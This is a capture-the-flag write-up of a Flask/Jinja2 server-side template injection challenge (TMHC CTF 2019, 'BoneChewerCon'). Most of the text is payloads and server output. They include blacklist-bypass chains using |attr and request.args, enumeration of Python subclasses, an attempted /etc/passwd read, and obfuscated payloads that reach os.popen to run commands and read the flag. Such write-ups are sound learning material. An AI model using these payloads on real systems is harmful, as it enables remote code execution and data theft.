Information#
CTF#
- Name : TMHC CTF 2019
- Website : ctf.hackthebox.eu
- Type : Online
- Format : Jeopardy
200 - BoneChewerCon - Web#
The devil is enticing us to commit some SSTI feng shui, would you be interested in doing so?
By entering {{ 7*7 }}
as a name, eg.
http://docker.hackthebox.eu:30402/?name=%7B%7B+7*7+%7D%7D
we can see 49
displayed so the SSTI is effective.
Now let's get real:
{{ config }}
:
1 | <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}> |
Also by looking at the source we can request http://docker.hackthebox.eu:30402/debug
1 | from flask import Flask, Response, render_template, request, render_template_string |
Personal Note: python flask again and ever... boring...
Each time I try to use dir()
it ends with a 500 error.
I can't directly request request.environ
because either .
or [
are
forbidden.
I had a lot of reading:
- Exploring SSTI in Flask/Jinja2
- Exploring SSTI in Flask/Jinja2, Part II
- Cheatsheet - Flask & Jinja2 SSTI
- Jinja2 template injection filter bypasses
- Asis CTF Quals 2019 - Fort Knox
- Explaining Server Side Template Injections
- SSTI Jinja2: in Chinese but it's the best of all
Then I understood I could transform {{request.environ}}
into {{request|attr("environ")}}
,
it's making use of a Jinja filter to bypass the dot restriction:
1 | {'wsgi.multiprocess': False, 'HTTP_REFERER': 'http://docker.hackthebox.eu:30402/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}', 'SERVER_SOFTWARE': 'Werkzeug/0.16.0', 'SCRIPT_NAME': '', 'REQUEST_METHOD': 'GET', 'PATH_INFO': '/', 'SERVER_PROTOCOL': 'HTTP/1.1', 'QUERY_STRING': 'name=%7B%7Brequest%7Cattr%28%22environ%22%29%7D%7D', 'werkzeug.server.shutdown': <function shutdown_server at 0x7f149c74bb50>, 'HTTP_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'HTTP_CONNECTION': 'close', 'HTTP_COOKIE': '_ga=GA1.2.138819373.1553539893; __auc=d90e700c16a88bd85dc007969d9; _gid=GA1.2.2126054964.1576285914', 'SERVER_NAME': '0.0.0.0', 'REMOTE_PORT': 55208, 'wsgi.url_scheme': 'http', 'SERVER_PORT': '1337', 'werkzeug.request': <Request 'http://docker.hackthebox.eu:30402/?name=%7B%7Brequest%7Cattr%28%22environ%22%29%7D%7D' [GET]>, 'wsgi.input': <socket._fileobject object at 0x7f149c74be50>, 'HTTP_HOST': 'docker.hackthebox.eu:30402', 'wsgi.multithread': True, 'HTTP_UPGRADE_INSECURE_REQUESTS': '1', 'REQUEST_URI': '/?name=%7B%7Brequest%7Cattr%28%22environ%22%29%7D%7D', 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'wsgi.version': (1, 0), 'RAW_URI': '/?name=%7B%7Brequest%7Cattr%28%22environ%22%29%7D%7D', 'wsgi.run_once': False, 'wsgi.errors': <open file '<stderr>', mode 'w' at 0x7f149d6ec270>, 'REMOTE_ADDR': '10.255.0.2', 'HTTP_ACCEPT_LANGUAGE': 'en-US,en;q=0.5', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate'} |
So I can get use of |attr
to use an object attribute and array.pop(0)
instead of array[0]
.
But since .
is forbidden too I must use |attr("pop")(0)
. I can also use
|list
to convert anything as a list, |string
to cast to a string, |join
to convert from an array/list to a string, etc.
Here is a list of tricks and findings I managed to find by myself:
{{config|list|attr("pop")(0)|list|attr("pop")(0)}}
- =>
J
- =>
{{request|attr("args")|list|attr("pop")(1)}}&__class__=
- =>
__class__
- =>
{{request|attr("args")|list|attr("pop")(0)}}&''.__class__=
- =>
''.__class__
- =>
{{request|attr("args")|attr("a")}}&a=__class__
- => doesn't work
{{request|attr(request|attr("args")|attr("param"))}}¶m=__class__
- => doesn't work
{{open('/etc/passwd','r')|attr("read")()}}
- => error 500
{{request|attr(request|attr("args")|list|attr("pop")(1))}}&__class__=
- =>
<class 'flask.wrappers.Request'>
- =>
{{{}|attr(request|attr("args")|list|attr("pop")(1))}}&__class__=
- =>
<type 'dict'>
- =>
- same buy way shorther than previous payload:
{{dict}}
{{{}|attr(request|attr("args")|list|attr("pop")(1))|attr("get")("open")}}&__class__=
- => error 500
{{'Y29uZmln'|b64decode}}
- => error 500
{{ "%s - %s"|format(request|attr("args")|list|attr("pop")(0), "Foo!") }}&''.__class__
- =>
_
and.
blocked because format is evaluated before the blacklist is applied
- =>
To be able to look at GET arguments position to know their order I used this payload: {{request|attr("args")}}&__class__=&__mro__
=>
ImmutableMultiDict([('__class__', u''), ('name', u'{{request|attr("args")}}'), ('__mro__', u'')])
I can use {}.get("key")
rather than, {}["key"]
But since .
is forbidden
too I must use {}|attr("get")("key")
.
I took a look at Jinja2 builtin filters list but saw nothing able to read a file or execute commands directly.
So let's try some classical pyjail techniques:
1 | type(open) |
From my last reading I found a pretty useful PoC to dynamically generate a list of Flask classes that can lead to a specific module.
1 | import os |
Here is the list of class from Flask
context that can lead to os
.
1 | [<class 'jinja2.environment.Environment'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.bccache.Bucket'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'ssl.SSLObject'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'asyncio.events.Handle'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.BaseRequestHandler'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookieJar'>, <class 'uuid.UUID'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'werkzeug.debug.tbtools.Line'>, <class 'werkzeug.debug.tbtools.Traceback'>, <class 'werkzeug.debug.tbtools.Group'>, <class 'werkzeug.debug.tbtools.Frame'>, <class 'werkzeug.debug._ConsoleFrame'>, <class 'werkzeug.debug.DebuggedApplication'>, <class 'werkzeug._reloader.ReloaderLoop'>, <class 'watchdog.observers.inotify_c.Inotify'>, <class 'watchdog.observers.inotify_c.InotifyEvent'>, <class 'watchdog.events.FileSystemEvent'>] |
Here is the list of class from Flask
context that can lead to open
.
1 | [<class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class 'tokenize.Untokenizer'>] |
But I even saw that <class 'os._wrap_close'>
is directly accessible from
<type 'object'>
sub-classes: {}.__class__.__mro__[1].__subclasses__()[132]
.
Let's check what's inside:
1 | 1].__subclasses__()[132].__init__.__globals__.keys() {}.__class__.__mro__[ |
But unfortunatly:
1 | 1].__subclasses__()[132].__init__.__globals__['open']('/etc/passwd').read() {}.__class__.__mro__[ |
Let's try a different way, another PoC from my last reading to list classes from any contaxt that can lead to a dangerous function.
1 | # coding=utf-8 |
Let's pick of class that looks cool:
1 | $ python list.py <<<0 | grep Namespace |
So our goal is to obfuscate a payload that looks like this one to bypass the character limitations.
1 | [].__class__.__base__.__subclasses__()[221].__init__.__globals__['__builtins__'].exec("[evil]") |
I put all the required methods that would be forbidden because of the underscore in arguments so I can access them from request.args
.
{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=&__name__=
=>
ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__globals__', u''), ('__name__', u''), ('__init__', u'')])
But it seems I don't have the same context on my side than the server.
So I used this payload to enumerate on the server (which is equivalent to [].__class__.__base__.__subclasses__()
):
1 | {{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__= |
And I got:
1 | [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'functools.partial'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'Struct'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <type 'time.struct_time'>, <class 'threading._Verbose'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'string.Template'>, <class 'string.Formatter'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <type '_hashlib.HASH'>, <class 'jinja2.nodes.Node'>, <type '_random.Random'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <type 'select.epoll'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'email.LazyImporter'>, <class 'calendar.Calendar'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'subprocess.Popen'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'ast.NodeVisitor'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <type 'method-wrapper'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <type 'unicodedata.UCD'>, <type 'array.array'>, <type 'setiterator'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.debug.ProcessedTraceback'>] |
On my side [].__class__.__base__.__subclasses__()[221]
gives <class 'jinja2.utils.Joiner'>
.
On the server side <class 'jinja2.utils.Joiner'>
is at index 137 instead. So I tried to target another class.
The unobfuscated target paylaod is:
1 | [].__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__'].exec("[evil]") |
Arguments order:
{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=
=>
ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__init__', u''), ('__globals__', u'')])
Obfuscated working payload for [].__class__.__base__.__subclasses__()[137].__init__.__globals__
:
1 | {{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()|attr("pop")(137)|attr(request|attr("args")|list|attr("pop")(5))|attr(request|attr("args")|list|attr("pop")(6))}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__= |
But I'm facing a big problem now: ['__builtins__']
is available on my computer
and not on the server.
Instead I have only:
1 | {'_word_split_re': <_sre.SRE_Pattern object at 0x7f149d139920>, '_entity_re': <_sre.SRE_Pattern object at 0x7f149d520db0>, 'consume': <function consume at 0x7f149d498ad0>, 'Namespace': <class 'jinja2.utils.Namespace'>, 'evalcontextfunction': <function evalcontextfunction at 0x7f149d5322d0>, 'escape': <function escape at 0x7f149d0e4350>, 'htmlsafe_json_dumps': <function htmlsafe_json_dumps at 0x7f149d0d47d0>, 'abc': <module 'collections' from '/usr/local/lib/python2.7/collections.pyc'>, 'internalcode': <function internalcode at 0x7f149d54e3d0>, 'urlize': <function urlize at 0x7f149d49cdd0>, '_simple_email_re': <_sre.SRE_Pattern object at 0x7f149d59fcb0>, 'errno': <module 'errno' (built-in)>, 'url_quote': <function quote at 0x7f149d0c7dd0>, '_punctuation_re': <_sre.SRE_Pattern object at 0x7f149d525770>, '__package__': 'jinja2', 're': <module 're' from '/usr/local/lib/python2.7/re.pyc'>, 'json': <module 'json' from '/usr/local/lib/python2.7/json/__init__.pyc'>, '__file__': '/usr/local/lib/python2.7/site-packages/jinja2/utils.pyc', 'deque': <type 'collections.deque'>, 'open_if_exists': <function open_if_exists at 0x7f149d49c750>, 'environmentfunction': <function environmentfunction at 0x7f149d532550>, 'missing': missing, 'text_type': <type 'unicode'>, '_digits': '0123456789', 'have_async_gen': False, '_letters': 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'unicode_urlencode': <function unicode_urlencode at 0x7f149d4a19d0>, '__name__': 'jinja2.utils', 'Cycler': <class 'jinja2.utils.Cycler'>, 'Joiner': <class 'jinja2.utils.Joiner'>, 'soft_unicode': <function soft_unicode at 0x7f149d0e4450>, 'internal_code': set([<code object parse at 0x7f149d5f8130, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 479>, <code object load at 0x7f149d603630, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py", line 99>, <code object select_template at 0x7f149d5f8e30, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 832>, <code object loop at 0x7f149cfc3d30, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 396>, <code object load at 0x7f149cf37eb0, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py", line 358>, <code object _get_default_module at 0x7f149d5ff8b0, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 1085>, <code object get_or_select_template at 0x7f149d5f8eb0, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 859>, <code object _fail_with_undefined_error at 0x7f149cfc59b0, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 610>, <code object __call__ at 0x7f149cfc56b0, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 496>, <code object get_template at 0x7f149d5f8d30, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 809>, <code object __call__ at 0x7f149cfc3530, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 338>, <code object call at 0x7f149cfbde30, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 234>, <code object compile at 0x7f149d5f85b0, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 553>, <code object load at 0x7f149cf3a830, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py", line 465>, <code object __getattr__ at 0x7f149cfc5a30, file "/usr/local/lib/python2.7/site-packages/jinja2/runtime.py", line 632>, <code object load at 0x7f149cf3a330, file "/usr/local/lib/python2.7/site-packages/jinja2/loaders.py", line 401>, <code object _load_template at 0x7f149d5f8c30, file "/usr/local/lib/python2.7/site-packages/jinja2/environment.py", line 794>]), 'concat': <built-in method join of unicode object at 0x7f149d6ff300>, 'LRUCache': <class 'jinja2.utils.LRUCache'>, 'implements_iterator': <function implements_iterator at 0x7f149d544cd0>, 'select_autoescape': <function select_autoescape at 0x7f149d656450>, 'Lock': <built-in function allocate_lock>, 'string_types': (<type 'str'>, <type 'unicode'>), 'contextfunction': <function contextfunction at 0x7f149d52ff50>, '__doc__': '\n jinja2.utils\n ~~~~~~~~~~~~\n\n Utility functions.\n\n :copyright: (c) 2017 by the Jinja Team.\n :license: BSD, see LICENSE for more details.\n', 'import_string': <function import_string at 0x7f149d49c450>, '_striptags_re': <_sre.SRE_Pattern object at 0x7f149d0c4930>, '_slash_escape': True, 'pformat': <function pformat at 0x7f149d49cad0>, 'generate_lorem_ipsum': <function generate_lorem_ipsum at 0x7f149d49ce50>, 'object_type_repr': <function object_type_repr at 0x7f149d49c950>, 'clear_caches': <function clear_caches at 0x7f149d498e50>, 'Markup': <class 'markupsafe.Markup'>, 'is_undefined': <function is_undefined at 0x7f149d54ed50>} |
It's here I understand the target is under python 2 and not 3! I don't know why I assumed the target was using python3, I made a huge mistake and lost quiet some precious time.
Ok let's forget Namespace
and use Popen
which seems nearer to exec
logically.
1 | $ python list.py <<<0 | grep Popen |
Popen
is at index 303 on my side but 243 on server-side.
The unobfuscated target paylaod is:
1 | [].__class__.__base__.__subclasses__()[243].__init__.__globals__['os'].system('ls') |
Arguments order:
{{request|attr("args")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__=
=>
ImmutableMultiDict([('__subclasses__', u''), ('name', u'{{request|attr("args")}}'), ('__builtins__', u''), ('__base__', u''), ('__class__', u''), ('__init__', u''), ('__globals__', u'')])
Obfuscated working payload for [].__class__.__base__.__subclasses__()[137].__init__.__globals__['os']
:
1 | {{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()|attr("pop")(243)|attr(request|attr("args")|list|attr("pop")(5))|attr(request|attr("args")|list|attr("pop")(6))|attr("pop")("os")}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__= |
I can append |attr("system")("ls")
but I will work only the 1st time, after
that I need to restart the docker, and I won't see the display on the return
value of the command.
To get the display I'll use .popen("ls").read()
instead of .system("ls")
1 | {{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()|attr("pop")(243)|attr(request|attr("args")|list|attr("pop")(5))|attr(request|attr("args")|list|attr("pop")(6))|attr("pop")("os")|attr("popen")("ls")|attr("read")()}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__= |
So I had the following results: app.py flag static templates
.
So here is the flag.
Final unobfuscated target paylaod is:
1 | [].__class__.__base__.__subclasses__()[243].__init__.__globals__['os'].popen('cat flag').read() |
Final obfuscated target paylaod is:
1 | {{{}|attr(request|attr("args")|list|attr("pop")(4))|attr(request|attr("args")|list|attr("pop")(3))|attr(request|attr("args")|list|attr("pop")(0))()|attr("pop")(243)|attr(request|attr("args")|list|attr("pop")(5))|attr(request|attr("args")|list|attr("pop")(6))|attr("pop")("os")|attr("popen")("cat flag")|attr("read")()}}&__class__=&__base__=&__subclasses__=&__init__=&__globals__=&__builtins__= |
Here is the flag: TMHC{__\.{{str8_0utt4_h311}}./__}
.
Conclusion: I think I overclomplicated stuff, they must be an easier payload but at least I learnt so much stuff. Thx makelaris for this challenge.